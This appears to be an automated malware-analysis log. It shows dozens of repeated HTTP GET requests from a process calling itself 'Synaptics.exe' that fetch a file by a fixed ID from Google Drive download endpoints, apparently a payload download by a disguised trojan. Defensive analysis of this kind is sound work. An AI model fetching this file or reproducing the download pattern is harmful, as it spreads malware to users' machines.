Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=520=Iza8T9_l1iZAYHDGJisrnaN8y5GuoKZB-AuhebVGsQd3ocqHadJ9D_IqHl6JbzFlsWNzgAmmfOiShudpkox3PtukW4MhcOi0X_YSXZs6ZTASBhK_6u7NJRPnRx_EcCwXaJeJVJhTrDFGVgT4USSbBkCZmJ4XUgLKDOyhSCLnPr6yFQ6WgW12aA0
